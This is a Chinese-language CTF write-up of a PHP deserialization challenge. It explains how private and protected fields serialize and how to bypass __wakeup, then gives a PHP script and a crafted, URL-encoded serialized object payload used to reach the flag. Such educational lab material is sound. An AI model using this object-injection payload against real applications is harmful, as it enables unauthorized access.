[极客大挑战 2019]PHP
0x00 知识简介
php中的private和protect在序列化时的区别:
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0的前缀。
## 这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合,直接在浏览器中输入,可能会被识别错误。
private 声明的字段为私有字段,只在所声明的类中可见,但在该类的实例中不可见。因此私有字段的字段名在序列化时,字段名和类名前会加上\0的前缀。
## 注意/0会被算作长度2
__wakeup()方法绕过
作用:与__sleep()函数相反,__sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。
绕过:当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
__construct和__destruct
__construct是构造函数,利用该函数创建构造函数,即使类名变了构造函数也会生效。
构造函数:类进行实例化时自动执行的函数
__destruct是析解函数,PHP将在对象被销毁前(即从内存中清除前)调用这个方法
0x01
打开网页看到如下
提示到会经常备份,进行目录爆破(目录名和备份相关),最后得到发现主页目录下存在www.zip(http://a20d58c8-04f7-4755-bdf1-c9e573526f2a.node3.buuoj.cn/www.zip)
下载下来,得到如下
直接打开flag.php,得到内容如下
提交发现不对,果然不会这么简单,继续查看其他文件,那就首先来看一下index.php
发现如上图的代码,看到unserialize函数,这里极有可能存在序列化漏洞。
这里还包含了class.php,那我们继续来看class.php
进行代码审计可以知道,想要得到flag就需要执行__destruct函数,并且满足username='admin'和password'100',
__destruct函数只需要php脚本执行完毕就会被自动触发,那两个条件可以通过实例化一个对象Name('admin',100)来实现。
那怎么来实例化一个对象那,可以通过传给select一个构造好的序列化对象,然后带入index.php中进行反序列化并赋值给$res来实现。
我们可以通过如下代码获得一个序列化的对象
<?php
class Name
{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin',100);
echo serialize($a);
?>
得到的结果如下
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
但是还存在__wakeup函数,该函数会在执行反序列化时自动触发,该函数将username赋值为guest使得我们无法满足上面的条件。
所以需要想办法绕过__wakeup函数,这时我们就要用到上面的知识了,所以我们的序列化对象就变成了如下
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
还有一点需要注意的是username和password的都为私有字段,所以序列化对象就变成了如下
O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
这个序列化后的对象我们可以通过写python脚本去请求,但是如果想直接通过浏览器去请求的话,就要变成如下
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
这里我们直接通过浏览器去请求得到的结果如图下: